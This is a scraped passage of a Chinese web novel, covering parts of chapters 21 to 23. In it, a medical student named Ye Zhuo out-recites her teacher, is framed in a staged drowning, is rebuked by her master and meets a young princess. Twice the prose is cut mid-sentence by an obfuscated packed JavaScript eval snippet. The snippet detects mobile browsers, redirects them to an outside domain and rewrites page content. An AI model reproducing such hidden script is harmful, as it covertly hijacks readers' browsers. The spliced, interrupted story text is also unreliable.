叶灼愣了愣,条件反射般脱口而出:“硝石味苦寒,生山谷。治五脏积热,胃胀闭,推陈致新,除邪气。”顿了顿,“至于归经么,当属心、脾、肺三经。” 沈拓眼睛微微眯起,“那你便解释一下,为何归属这三经?” “因其清热解毒,可清心火,入心经;其利水泻下,可除积滞,入脾经;又因其清肺热,理气化痰湿,入肺经。” 沈拓微微一怔,眼珠子转了一转。难道这丫头适才听了课?可瞧她稀里糊涂的样子,分明是在神游。 “老夫再问你,”他捋了捋长胡须,“丹砂色赤主心,药如麦冬、远志之辈,亦治心之药,而色不赤,何也?” 稍稍升了点难度,周围同窗窃窃私语起来。 许昭昭在座暗暗叫好,殊不知相比死的课本知识,这种需要带脑子的活问题,反而难不倒她。 “回博士,”思考一阵,叶灼道,“依弟子之见,用药论性而不论形。形色法象固然值得参考,但若要溯其本源,四气五味才是药物之根本。丹砂色赤主火,入心经,而麦冬养阴润肺、远志安神理肾,其性味决定其归经。若要按五行颜色来看,龙胆色蓝紫,却归肝、胆二经;马齿苋五色俱全,当是“五脏具补”,却归属肝与大肠经。这,又当作何解释呢?” 沈拓胡须抖了抖。不料抛出去一问,反让她举一反三上了?非叫他抓住尾巴不可。 “叶灼,你入门晚,在座学子进度比你快上一截,姑且在认真听讲。你既有心向学,为何适才却不听课?” “弟子不听,是因为……”她顿了顿,声音越来越小,“因为弟子都会了。” “都会了?”沈拓将戒尺一撂,额头挤出一道道褶子。 四下噤了声,同窗们纷纷看向她,一副看好戏的样子,只差把“完蛋”二字写在脸上。叶灼有点儿茫然,是她说错什么话了么? 眼见沈拓五官全都皱在一起,好像颗皱巴巴的核桃,随时要爆裂开来。以前逛市井小摊,那种西戎来的皱皮核桃,就是这样红光光、油亮亮的,顶老又皮薄。 尽管叶灼鼓着腮帮子,用力不笑出声,嘴角还是禁不住漏了气。 沈拓见状,几乎要吹胡子瞪眼:“好,既然你都会了,不需要老夫教,今日老夫便不讲这课。你给我把《本草》从头到尾背一遍,背不完不许放课!” 他说着,将戒尺用力在桌板上敲几下,“手伸出来。背错一个字,老夫便打你一下。” 本是想刁难这丫头,让她长一长记性。须知整整五十二卷《本草》,连他也未必能背得一字不差,就算这丫头是叶少卿之徒,能有天大的本事不成? 不料叶灼清了清嗓,竟真的从头背起来。 从玉泉背到麻蕡、从雄黄背到葛根,流利得不得了。 那一字一句就好像深深镌刻脑子里,形成了肌肉记忆般,源源不断从她口中涌出,丝毫不需要思考时间。 沈拓举着叆叇,对着书本斟字逐句检查,脸色渐渐变得难看起来。 学子们听得昏昏欲睡,半个时辰过去,仍没有见停下。她的手却是一下板子也没挨,抻在半空都麻了。 良久,沈拓合上课本,道:“你坐下吧。” 叶灼心中奇怪,怎的就坐下了?她还没背完呢。 “我们才学到卷上,”前桌同窗翻书的手快要冒烟,“你这都快背到卷下了……” 沈拓捋着胡须上座,讲起大道理:“诸位学子,有道是温故而知新,要想入门学医,《本草》不过是百草药理之根基。光会背还不行,需懂得何谓‘根深本固’。治学者,理应尊师重道、虚心求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797752|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教,才能有所长进。” 说罢,瞥了瞥叶灼这边,“叶灼,你可明白其中道理?” “明……明白。谢博士教诲。” 她虽然听不太懂话里的意思,大体听出是句说教。瞧着周围学子的反应,应该不是什么好话。 沈拓捋着胡子点点头,“既如此,你回去且将《本草》抄个两遍,或能从中得出些许心得。” “啊?!”叶灼一口气差点儿没背过去。 “怎么,你不愿?” “……弟子不敢。” 她恹恹地坐下。原本昨晚就没睡好,一想到要抄书,顿觉更闹心了。 那些枯燥的医学药理,从沈博士嘴里蹦出来,就像是寺院里的和尚念经。而自己也成了众多小和尚、小尼姑里的一个,只会跟着晃脑袋敲木鱼。 左耳进、右耳出。昏昏沉沉,一直到放课钟响起。 经过桐湖的时候,卫知瑶正好从兰苑里出来。见叶灼揉揉脖子、揉揉屁股,好像干了什么重活似的,不由得问:“你莫不是又与人干架了?” “瑶姐姐,你快甭提了。”叶灼垂头丧气道,“我今日点儿背得很。摊上麻烦不说,丢人还丢大发了。” “适才放课,我听闻有学子惹得沈博士差点儿罢课,那个人……不会是你吧?” 叶灼干笑两声。医科的消息,竟然这么快就传到咒禁科了么? 卫知瑶瞧着她道:“怎么回事?” 三言两语的说不清楚,叶灼想了想,干脆拉她坐在桐湖边上的大石头。 从她遇见师父,到如何惹沈博士生气、又是如何如坐针毡地度过这一节课……总结了一遍,左右实在想不明白。 她到底哪里得罪了沈博士? “你呀。”卫知瑶轻点她额头,“亏得叶少卿引你进来,一手好牌,打得稀烂。你把沈博士没教的东西说完,又公然顶撞他,不是存心挑衅么?” “啊?我没有存心呀。”叶灼挠挠头,一下便不明白了。 “我知道,”卫知瑶握上她的手,“你是实话实说。可沈博士再怎么说,好歹是太医署的医科博士。作为你的师长,多少要给他点面子。这才第一堂课,又是差点迟到、又是开小差的,单单印象就已经不好了。” 叶灼心道坏了。若是这般,以后她在太医署日子还怎么过? “出门在外,光靠一张嘴实诚是不行的,更重要的是心诚。心诚呢,还要讲究因人而施。沈博士叫你起来,自是拿准你不尊重他,乖乖认个错、服个软也就罢了。可他给你台阶你不下,反令他难堪,自然要拿你杀鸡儆猴了。” 叶灼点着脚尖嘟囔,“可现在杀都杀了,能怎么办呢?” 卫知瑶拍拍她肩膀,眨了眨眼:“私下道个歉,赔礼便是。” “有那么简单?” “以前很少有人惹沈博士生气。他这个人其实挺好说话的,也就是脸皮薄些,但凡面子给足,一般不会与你计较。” 叶灼迟疑地点头。转念一想,连沈博士都算好说话的,若换做其他博士,岂不是分分钟将她扫地出门? 又想到早上和师父碰头的事,她实在按捺不住。正欲问个究竟,只听得“噗通”一声。 “不好,有人落水了!” 二人闻声转头,湖岸边,学子们纷涌而至。 水花四溅,半个脑袋沉了又浮,正上下扑腾个不停。 21.积羽(一) 那半截脑袋一上一下,很快就要沉下去了。见此情形,叶灼不管三七二十一,冲到水边。 “那是谁啊?” “好像是新来的学子,叫叶什么来着……就是前两日擅闯朝会那个。” “她之前不是个丫鬟么,怎么眨眼山鸡变凤凰,成了我们的同窗?” “据说是叶少卿亲手提携,也不知是真是假……” 卫知瑶后脚跟上,拨开人群。只看到叶灼外衣在地上,而人已经游到了湖中央。 好在她小时候常去东山游水,识得水性,叶灼在水下咕嘟咕嘟吐着泡泡。不由觉得人心凉薄,同窗溺了水,非但没有人下来救,怎么这个时候还有工夫谈天? 那个人离她越来越近,叶灼一把将他捞起。 定睛一看,这不是许昭昭身边那个小跟班么?名字好像叫胡广。 她“呼啦”一下蹚出水面,往岸边游去,几名学子过来抬人。 “我不碍事,救人要紧。快!将他平躺放下。” 这个方法她在医书上看到过,交叉双手,按压剑突上方二横指处。 胡广的胸口一起一伏,她的心跟着悬到了嗓子眼。 一下,两下……只见他哇啦啦吐出好几口水。接着按,又是好几口。都要把肚子里的水吐完了,怎么还不醒? 叶灼使大了点力,却见许昭昭从坡上赶来,身边跟着另一名女子。 “闪开!” 他们很不客气地接过胡广,许昭昭举起手指头,“姓叶的,你推胡广下水,还想把他压死不成?” “我?”叶灼不确定地指了指自己,“什么我推他,分明是我救了他,在场同窗都看着呢。” “你和胡广有私仇,除了你,谁会没事推他?” “你搞错了吧?”叶灼咂舌,“和我有私仇的是你,不是他。而且我看有人落水,第一时间只想着救人,哪儿顾得了水里的是谁?” “你虽救了他,可我适才经过湖边,确确实实看见你将他推入湖中。”许昭昭双手抱臂,轻哼一声。“怕不是引得这么多人来,你怕事情败露,所以心虚了吧?” “啊?”叶灼怔怔地道,“你哪只眼睛看见了?” “我两只眼睛都看见了。” 叶灼一脸同情:“那你两只眼都不太好使,记得治一治。” 同窗中有人笑起来,许昭昭脸上一阵红一阵白。 卫知瑶挡在她身前:“许少爷,叶灼适才一直与我待在一起,根本没有机会走到桐湖边,想来是你误会了。” “哟,这不是瑶郡主嘛。”许昭昭投来个意味深长的眼神,“许久未见,别来无恙啊。你哥哥在凉州混得可还好?啧啧,成了丧家犬,那滋味,一定很不好受吧。” “你……!”叶灼怒火中烧,作势抄起拳头。卫知瑶连忙拦下,只差一点,这两人又要大打出手了。 “瑶姐姐,和他说不通的。我们走!” 一只脚拦住去路,“站住。” “许昭昭,你别太过分了。”卫知瑶眉毛微皱,“叶灼是新来的学子,你身为前辈应该多加关照,而不是故意针对。” “故意针对?老子这是在惩恶扬善。”许昭昭道,“分明是她存心加害同门,结果弄巧成拙,以为没人看见,救个人就可以一走了之。不巧的是,我看见了。大家都看见了!” 叶灼嘴角抽了抽,只觉得荒诞至极:“诸位同窗,你们看见是我推了他?” “这……” 他们个个儿你看看我、我看看你,没有一个人敢说话。 叶灼活了十二年,从没有一刻像现在这么窝火过。怪就怪自己太容易轻信别人,既然大家都装聋作哑,她又何必在这里多费口舌? “让开。”她拉上卫知瑶。可前路被堵得死死的,这几个王八蛋活像狗皮膏药似的粘着自己,甩都甩不开。 “若不是心虚使然,为什么却急着走呢?” 若叶灼记得不错,说话这人名叫薛懿,是薛嫔的表妹,同样是许昭昭的跟班之一。 “不准备,和大伙解释解释?” “没做过的事,要我解释什么?” “我们都看见了,就是你推他下水的!”许昭昭颐指气使。 叶灼捡起颗石子一弹,正正好堵住他的嘴。 “你说的不算,我要听他说。”她指了指胡广,凑到他耳边,似是在确认什么,“上回你被这人渣欺负,是谁替你还的手,可别忘了。 “——现在我问你,胡广,是我推的你么?” 胡广嗫嚅难言,声音小得像蚊子一样。 “说话啊!” 但见他眼神四处乱飘,对上某处焦点。将脖子缩了回去,轻轻点头。 “我知道了。”叶灼微微一笑。在他身后绕了一圈,略带惋惜地叹了口气。 “今天出门没看黄历,算我倒霉。胡老将军远在凉州,要是知道他儿子如今是这副样子,只怕八辈子老脸都要丢尽了。” “姓叶的,你想干什么?!” 话音未落,她一把揪起许昭昭的后领。来到水边,许昭昭顷刻双腿离地,死死扒住她手腕:“你害一个不够,还想连老子一起——” 松开手,猛将他一推。 没有留一点儿挣扎的时间,“噗通”地掉进水里。 “灼妹妹!你这是做什么?” 卫知瑶有些发蒙。不知道她是为报仇还是别的什么,叶灼摇了摇头,道:“没事的,我不过给他点儿教训。” 同窗们反应了好半天,霎时炸开了锅。 “这个新来的,胆子也忒大了。”有人小声地道。 “万一闹出人命怎么办,有没有识水性的啊?” 有人欲要去通报博士,叶灼冷不丁拦在他身前。 “敢打小报告,我就把你丢下去喂鱼。”她悠悠地道。 这帮权贵果然欺软怕硬,那人打了个寒颤,连吓得大气不敢喘了。 许昭昭挣扎得厉害,吐出的泡泡越来越小。像是条搁浅的金鱼,可惜桐湖里没有水草,就算他死命想抓住点什么,反把自己推离岸边,越来越远。 “灼妹妹,真的没事么?”卫知瑶将信将疑,“许昭昭虽然私德有亏,但并非十恶不赦,我看他就快要不行了,你这样报复他,是否太严重了些?” “放心吧,死不了的。”叶灼瞟了眼胡广,带着丝饶有兴致的意味。 “有天神保佑,他命大着呢。” ——她倒要看看,这二人能演到什么时候。 许昭昭不停地扑腾,好不容易露出口鼻,费力喊道:“还愣着做什么,救老子啊!” 又是“噗通”一声。适才犹豫不决的胡广得到答案,一头栽进水里。 终于,等的就是这么一刻。 “你们看吧。”叶灼一拍手心,“这家伙根本就会游水!” 众人一下子张目结舌。不仅如此,那速度简直了,比青蛙蹬腿还要快。 就说胡广适才挣扎那么久,为何却迟迟没有沉下去…… “敢情是为了给我下套啊!”叶灼笑着摇头。 卫知瑶扯了扯她的袖子,道:“好了,仇也报了,我们该回……” “他奶奶的,你这毒妇,胆敢残害同门!”许昭昭一瘸一拐被扶上岸,指着她怒骂。 “你可不要贼喊捉贼啊。”叶灼道,“怎么,许少爷要回去找你那家财万贯的爹,定我的罪了?” 同窗们闻声大笑,许昭昭彻底怒了:“谁敢笑,老子缝上他的嘴!” “哦,这么厉害?”叶灼嗤之以鼻,“你还会做针线活啊?我以为你四体不勤、五谷不分呢。” 他的嘴角抽搐,“诸位同窗都看见了,这野丫鬟如此无礼,让她在太医署待个三年,只怕有辱各位的身份吧?” “丫鬟怎么了?”叶灼叉着腰抬起下巴,“你脚下的地是谁在扫?你衣来伸手饭来张口的日子从哪儿来?没有丫鬟替你干活,能有你许昭昭的今天么?” “呸!老子全名是你能叫的?丫鬟 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叶灼正打得尽兴,用力挣脱,那股阻力却死死制着她,怎么挣都挣不开。这一拳挥不出去,她气急了,不知怎的许昭昭没有趁机还手。那惊恐的眼神掠过她,落至身后更远处。 “叶……叶少卿、江小姐。” 叶灼身子一僵,连忙站起来。 学子们纷纷让道作揖。 江弗及立于叶无声身侧,肃声道:“怎么回事?” “叶少卿,您可一定要为我做主啊!”许昭昭踉跄着爬到叶无声脚边,“这该死的丫鬟,佯称是您的徒儿,混进太医署企图残害同门。把我和胡广推下水不说,还将我的脸打成这样……断不能饶恕了她!” 叶灼急忙辩解:“不是的师父!是他栽赃我,请师父明鉴!” 师……父?许昭昭傻了眼,她真是叶少卿的徒弟? 见这三人浑身湿漉漉的,叶灼、许昭昭脸上又是青一块紫一块,叶无声大抵明了事情原委。 他冷冷地开口:“是谁先动手的?” “是、是她!”话说到这份上,许昭昭只好壮胆赌一把。 叶无声缓步走向叶灼,“是你先动手打人?” 叶灼点点头。“是我。可是——” “不必多言了。”叶无声道,“明日随我到京兆尹府,向许公子赔礼道歉。” “为什么?” 叶灼怔在原地,“师父,徒儿没有推人!我虽动了手,可这件事不是我挑起的,是他许昭昭欺人太甚,是他的错!” “你动手在先,即便不是你的错,也成了你的错。”叶无声语气没有一丝起伏。 那一字一句,连同他不能再陌生的眼神,仿若冰锥,深深刺进她的心里。 他扶起许昭昭,拱手作揖,不知说了些什么。学子们的嘲讽,许昭昭胜者的目光,所有的所有,叶灼通通看不进去了。 “师父……” 她向后踉跄两步,声音颤抖。“徒儿明明什么错都没有,只是一心想救人……为什么我们要向这种人道歉?” “你殴打同门致伤,还敢说没错?”他厉色扫了她一眼。 “念你初来太医署,许多规矩不懂得,诚心领罚,尚可以从宽。你回去背诵《弟子职》、撰抄门规十遍,明日课毕,再随我到京兆尹府赔礼。此事不必再议。” “弟子不服!”叶灼甩开他的手,不可置信望着他。 “不曾想在上京待了三年,师父竟成了如此是非不分、善恶不明之人……” 殴打致伤? 她明明,也受了伤啊。 为何师父不肯听她一句解释? 这不是她认识的师父。师父不会说这样的话,更不可能这么对待她。这不是…… 再不逃,泪水就要呼之欲出。 “阿灼!” 叶无声伸手抓了个空,几乎是出于本能迈开脚步。 22.积羽(二) “叶少卿。” 身后女子一声呼唤,将他步子硬生生拉了回去。 “刚才的事,我都听学子们说了。”江弗及莞尔而笑,“叶少卿位高权重,何必为了一个下人,忧心至此呢?” 叶无声明白她的意思。 “国舅提携之恩,叶某不敢忘怀。”他浅作一揖,“只是此女乃是家中小徒,系昔日故友所托,并非江小姐口中的下人。” “原来如此。既是亲朋远道而来,自是要多加照顾的。” 江弗及打量着他,转而道,“今日父亲的寿宴,酉时开席。算起来,时辰应差不多了。叶少卿,可需回府稍作打点?” 点头知会后,他道:“那叶某先行告退了。” 天色渐暗,介铃抱着一沓书卷,远远地赶来。见江弗及正在疏散人群,上来询问:“江小姐,发生什么事了?听闻适才有学子落水,人没事吧?” “没什么大碍。”江弗及道,“不过是学子之间起了争执,闹剧一场罢。” “他奶奶的,疼死了……姓叶的,老子和你势不两立!” 介铃探头瞧了瞧。只见许昭昭一瘸一拐被抬走,嘴里还在骂骂咧咧。 忍不住“噗嗤”笑出声:“打人那个……不会是叶灼吧?” 江弗及愣愣地点头。 “真是活该!”她痛快地拍手笑,“总算有人治他这山霸王了,省得我天天操心。江小姐您还不知道吧?这个月,已经是胡广第三次落水了。” “第三次?” “是啊。上回习字课,一位同门不小心弄脏许少爷的衣服,他们用的就是这套把戏。上上回是什么来着……反正他们这伙人,看谁不顺眼,总要想方设法赶人家走。” 介铃仔细回忆,竟然发现她每日处理的门中琐事,有半数都是许昭昭惹的。一想到他就来气,恨不得把他们罪行通通陈列。 正滔滔不绝,江弗及道:“叶师妹她,是何时进的太医署?叶少卿旧籍岐州古川,她过去一直与叶少卿同住么?为何从未听他提起过这个徒弟?” 冷不丁这么一问,显然将介铃问住了。 怕她误会,江弗及又连忙解释:“我是看叶师妹初来乍到,想着问问她身世,也好多加照拂嘛。” “江小姐真是有心。”介铃不由敲了敲脑袋。枉她同样为师姐,都没想到这一点。 “叶师妹是万邦朝会那日,沈博士奉圣命提携进太医署的。至于她的来头么,我只知她是来上京寻师的。不过……我看她好像与叶少卿不甚相熟,许是家中出了什么变故,特来投靠吧。” 江弗及点了点头,“我想也是。你这是去做什么?” 经这么一提醒,介铃敲了下脑袋:“差点儿忘了正事!我正找江枫呢。这沓文书,沈博士托他整理,这懒虫活没干完,人先跑了!真把我气个半死。沈博士明日上课要用,让我逮着,非扒了他皮不可!” 江弗及摇头,笑道:“兄长还是如此不让人省心。你去吧,这儿有我呢。” “那就有劳江小姐了!” …… 麻雀停落于枝头,哭声乍起,羽毛惊坠。 自打叶灼回屋换了身衣裳,泪水就没有停下过。 膝盖上的布料濡湿一片。卫知瑶现在怀疑,她莫不是条海蜇,肚子里装的全是水。怎么会有人能流那么多眼泪? “好了,别难过了。他们又不是第一次害人,许多学子都是这么遭殃的。其实真相大家心知肚明,这不是你的错。” 卫知瑶一下下拍她的背,“可惜以我如今的身份,不足以帮你出头,要不然……” “我不是难过这个。”叶灼抬起头,泪眼汪汪。 “那是什么?”卫知瑶叹了口气,“是因为叶少卿?” 她把头埋下去,又不说话了。 “我知道,你受了委屈,心里难过。可你想过没有?”卫知瑶温声道,“叶少卿之所以那么说,定有他的道理。” 叶灼抽抽搭搭:“什么道理,不如让我原地打个洞,钻进去算了。” “倘若,他是在保你呢?” “保我?” “嗯。”卫知瑶若有所思,片刻后道:“我想来想去,实在想不出别的理由。许昭昭是京兆尹之子,叶少卿偶尔也来医科讲学,不会不明白他的品性。京兆尹掌治京师,权大势大,你将他儿子打成那样,若要追究起来,后果便不仅仅是罚背抄书那么简单了。” “那又怎么样?”叶灼愤愤道,“比起担下这莫须有的罪名,我宁可被踢出太医署!” “万一不止是被踢出太医署呢?” 无论是什么,都没有被冤枉来得难受。叶灼擤着鼻子,闷声道:“……瑶姐姐,你是不是,也觉得我莽撞?” 卫知瑶轻抚她的头,笑道:“我可没那么说。” 叶灼河豚一样鼓起腮帮子,稍稍一戳便漏了气。 “别人欺负我,我难道不能欺负回去么?” “当然可以。”卫知瑶道,“但不该是以动手这种方式。” 叶灼不解:“难道还有别的方式?” “灼妹妹,我问你。你想要的,是让别人不再轻视我们,对不对?” 叶灼点点头。 “可你这样做,许昭昭是害怕了。那他真的会意识到自己错了么?” “管他知不知错,”叶灼挥舞小拳头,“我就是要他尝尝我的厉害!” “你打他,是为了让别人不再轻视你。可这样一来,非但自己理亏,别人还会当你是施暴者,对你敬而远之。难道这是你想要的么?” 嗫嚅半晌,她陷入了沉思。 “早在初来太医署,我便提醒过你,谨言慎行。我知你心有不甘,可这世道就是如此。唯有能屈能伸、适时低头者,才能够立足上京,让别人看得起。” 叶灼一听便不乐意:“错的明明是他们,凭什么让我低头?” “你若不能改变,又不想去顺应,该靠什么活命呢?” “要让我向那种人低头,死便死了!” “你……” 卫知瑶平稳下心绪,苦笑着摇了摇头,“你是硬气了。可若是人人都像你这般想,世界上就都是像许昭昭那样的恶人了。到那个时候,又有谁能改变这世道?” 瑶姐姐这是……被她气笑了么? 不过叶灼记下了,可不能让恶人得逞。于是抹了把眼泪,“瑶姐姐你千万别生气,我就是随口一说,不会真的死掉。我还要一直陪着你呢!放心吧,以后我会多加小心的。” “这才对嘛。”卫知瑶覆上她的手,抚过手背的淤青,眉头微微皱起。 “更何况,我也不想看你因我而受伤。” 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847264|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来刚才的话,叶灼变得小声,“你适才说……叶少卿要来医科讲学,是真的么?” “还能有假?”卫知瑶道,“医针二科,学的内容偶有重合。太常寺事务繁多,助教一职,他本不愿胜任。沈博士软磨硬泡,又有江国舅出面,好说歹说才把他请过来。说起来,这得是多大的面子,文武百官,也只有叶少卿能有这种礼遇了。” 叶灼“啊”了一声,并不十分高兴。 这样说来,师父竟是针科的助教。难怪今早会在太医署碰见他了! “那他下一堂课是什么时候?” “按往常来说……”卫知瑶略作思考,“应该,是明日吧?” “那我明日不去了。”叶灼翻了个身,钻进被窝里,“帮我告个假,沈博士问起,就说我病了。” “你又来了。”看她把自己包得像条大肉虫子,卫知瑶坐在榻边,晃了晃她。 “灼妹妹,你到底在逃避什么?” 大肉虫扭到角落,并不想说话。 “我虽不知你们过去发生了什么,就算你还在气头上,这样下去,总不是办法啊。” “那什么是办法?”叶灼露出来眉眼。 “你难道不想见你师父么?” 说来说去,还是要劝她。叶灼将被褥掩上,默默缩了回去。 “你一开始来上京,就是为了找他吧?” “……” 话是这样说。可是光她想有什么用?师父身边早有了别人,指不定把自己当累赘呢。而且师父见到她,肯定要逼她去什么京兆尹府,她才不要向许昭昭道歉呢。 想到人前的数落,叶灼鼻子一酸,委屈劲又涌了上来。 只听得“嘎吱”一声,屋外传来男人的嚎叫。 听着声音,好像是在呼救。 “你在这儿等着,我过去看看。”卫知瑶道。 “等等。”叶灼扯住她袖子,“我也去。” 两人来到院前的大梧桐树下。四处张望,愣是没看到有人在。 “奇怪了,刚才明明听到有人喊救命啊?”叶灼挠挠头。 “在上面呢!”声音来自高处。 往上看过去,少年整个身子倒挂着,在空中荡了又荡。因为腿勾在粗枝上,没办法翻身,只有马尾高高地垂下。 叶灼将头侧个方向,待看清楚他的脸,差点儿扭到脖子:“江师兄?” “是你啊!”江枫大喜过望,“叶师妹,你来得正好。快帮帮忙,我在这儿荡了快一个时辰,头都要晕了,你快把我弄下去!” 叶灼吓了一跳。倒挂整整一个时辰,脑袋没事不说,体力也太好了吧? “可是我要怎么救你呢?” “你去找梯子来!或者去柴房拿根长点的棍子,支着让我滑下来!” “哦哦……”叶灼转了一圈,回来道:“柴房在哪里啊?” “……”江枫急得要骂爹。看来求错了人,转而嘿嘿一笑:“卫小姐,难为您跑一趟,您如此温柔美丽冰雪聪明善良大方,一定不忍看师兄受苦吧?” 两人就要搭把手,上方传来清脆的童声。 “糖糖,寰儿要吃!” 循声望去,枝头趴着个小孩。豆丁大点,正使劲往前爬,一点点够江枫手里的糖葫芦。 “糟了,”卫知瑶道,“是小郡主!” 23.积羽(三) 小孩从树上落下,介铃刚好经过,吓得将怀中书卷一丢,虎扑上去。 六只手齐刷刷上阵,铺成张结实的大网。 女孩扎着包子头,小脸蛋红扑扑、肉嘟嘟的。一双眼睛又黑又亮,溜溜地打转。兜住她那一瞬,叶灼愣了愣神。 ——天上怎么掉下个这么可爱的小豆丁啊?! “小郡主,你怎么会在这里?”卫知瑶发问,“宋娘去哪儿了?” 女孩奶声奶气:“宋娘在膳房,寰儿不想吃饭,溜出来了。寰儿要吃糖糖!” 看来她就是太子之女,那名现居东宫的小郡主,还是个挑食的主儿。 叶灼抬头望了望,不由得好奇,她是怎么爬上这么高的树的?小小年纪就有如此能耐,和自己小时候相比,简直有过之而无不及。 “寰儿,这位是灼姐姐。”介铃介绍道。 女孩懵懂地点头。打量着这副生面孔,粲然一笑:“寰儿又有新的姐姐了,喜欢!” 叶灼本就要被萌化了,此刻更是心花怒放,一股脑儿将她抱起。“姐姐也好喜欢你啊!你叫什么名字?” “我叫,纳兰褚寰。” “纳兰褚寰,是个好名字。”叶灼往她脸上蹭了又蹭。软糯糯、香喷喷。像个小肉包子,好想咬一口啊! “寰儿要被吃掉了!” 卫知瑶和介铃在讨论东宫近况,转头见她小脸蛋被揉得歪七扭八,纷纷笑起来。 “喂,你们甜蜜够了,是不是该轮到我了?” 树上传来一嗓子,纳兰褚寰目光被吸引了去。指着江枫手里的糖葫芦,小嘴儿红润。 “糖糖……” 介铃大叉着腰,走到江枫跟前:“怎么,江公子心血来潮,想学猴子捞月?” “小铃儿~我就知道,你不会忘记我的。”江枫荡来荡去,星星眼扑闪扑闪。旋即瞪了眼纳兰褚寰,“要不是因为她,我怎么会掉下来?我好好地睡着觉,谁知道糖葫芦突然被人咬了一口,醒来就看见这奶娃娃。虽然你平时对我非打即骂,俗话说得好,打是亲骂是爱,关键时刻还得看——” “爱你个头!你自己偷懒误事,还想赖小郡主。”介铃没好气道,抢过他手里的糖葫芦。 “不要啊!那是小爷我花重金……” 没等他把话说完,纳兰褚寰已经抱着糖葫芦,美滋滋吃起来。 “……买的。”江枫欲哭无泪,“介铃,你这天杀的,趁火打劫!有种现在放我下去,我要与你决一死——” “决一死战?正好。” 介铃绕他一圈,将地上的文书卷起,敲他脑壳,“沈博士有言在先,千叮咛万嘱咐一定将你好生处置。你想怎么死,说吧。” 江枫嘿嘿一笑, “小铃儿,我错了还不行嘛!我就是肚子饿了,临时离开买点儿吃的,不是故意不干活哒。你先放我下来,咱们这么多年交情,什么话不能好好说?” “‘临时离开’,指躺在树上睡大觉,三个时辰不回来?” “呜呜。姑奶奶,我真知错了,下次再也不敢了……”江枫抱住头,可怜巴巴。 “还有下次?”介铃反给他屁股一脚,“江枫,这是我第二百零八次替你挨骂,你的鬼话,本姑娘再也不信了。今日新仇旧怨一并算了,你给我在这儿乖乖吊着,没我的允许不准下来!” 二……二百零八次?叶灼下巴都要惊掉了。小声惊叹:“介师姐可真能忍啊。” 江枫牙齿咬得咯吱作响,“你这是公报私仇!” “我就公报私仇了,怎么着?有本事,你下来打我啊。” 他在空中荡来荡去,像把大扫帚,气得抓狂。 “银样镴枪头,中看不中用!”介铃做了个鬼脸,拉着她们溜之大吉。 只余江枫原地哭唧唧:“你们还有没有人性啊喂!来个人,放我下去啊!!” 为免宋娘等得着急,介铃准备先将纳兰褚寰送回东宫。 对叶灼而言,东宫是个新鲜地方。恰好卫知瑶许久没去探望宋娘,二人达成共识,便也跟着去了。 行至半路,卫知瑶略有些担忧,“介师姐,真的没事么?这么倒挂上一天,师兄脑袋恐怕……受不住吧?” “放心吧。那么点儿距离掉下来死不了,他就是怂罢了。”介铃道,“而且江枫人本来就傻,再傻一点,也没差。” 叶灼啧啧称道:“不愧是介师姐。够狠!” 由拂春街至东宫,一路开满了秋海棠。 成簇的火红漫上宫墙,叶灼停下来摘几朵小的,别在衣服上。秋海棠喜光,本不适合在荫蔽处生长,怎么会到这里来呢? 这是叶灼第二次进宫城。上回以叛党之名救卫明川,脚步太过匆匆,都来不及看风景。这里的墙筑得很高,四面围起,有种莫名的压抑。到处是黑红色调的大殿角楼,鳞次栉比,没有舍元殿那么金光闪闪,却也华丽非常。 沿岸边走,中央有一块大石头,“落花池”三个字赫然在目。 叶灼不由得皱眉。这个名字,也太不吉利了吧? 行至一处偏殿前,迎面走来一个绿衣服的女人。约莫三四十岁,眼角带细纹,看起来很是和善。 “小郡主,你怎么又跑出来了?”女人抱起纳兰褚寰,急切道。 “宋娘,对不起。寰儿没听你的话,又出来吃糖糖了。”纳兰褚寰弱弱低头。 原来她就是宋娘。 “介铃、卫小姐,有劳你们了。昨日托你带木樨糕,我以为小郡主吃了甜食,能消停些时日。不曾想……唉,这样下去,真不知如何是好。” 她们又是客套又是寒暄。宋娘怔然道:“这位是?” “我叫叶灼,是医科的学子。”叶灼愉快伸出手。想起这里是上京,忙不迭缩回,躬身行礼。 下半晌,宋娘直直瞧着她,竟然愣住了。叶灼有些发怵,是她礼数没做到位么?于是补行了一个。怎么还是没反应? “宋娘。”介铃小声提醒。 宋娘神情恍惚:“叶姑娘,我们可有在哪里见过?” 叶灼也有点儿愣住了。难道上京人也好攀亲戚? “灼妹妹祖籍岐州古川,上个月才初来上京,怎么会与你见过呢?” “也不曾去过别处?”宋娘追问,“像是去附近的城池游玩,或者可有离开过大容国境?” 叶灼摇了摇头。除却在慈幼局那两年,甭说别的城池,来上京以前,她从没一个人出过远门。连岐州的地图也没认全,更不知容国原来这么的大,古川原来只有那么小旮旯一块地。 见宋娘神情古怪,卫知瑶疑惑:“怎么了?” 宋娘方才回过神来, “叶姑娘的眉眼亲切,让老身想起少时一位故人。一时失态,多有冒昧。” 叶灼挥了挥手:“无妨,天底下形容相似的人不胜枚举嘛。宋娘和我有眼缘,正可以解思乡之愁啊。” 宋娘:“此话怎讲?” “宋娘看到我,就好像看到了故人。看到故人,就好像回到了故乡嘛。”叶灼乐呵呵道。 “姑娘怎知,老身的故乡不在上京?” “适才您问我有没有去过别的城池, 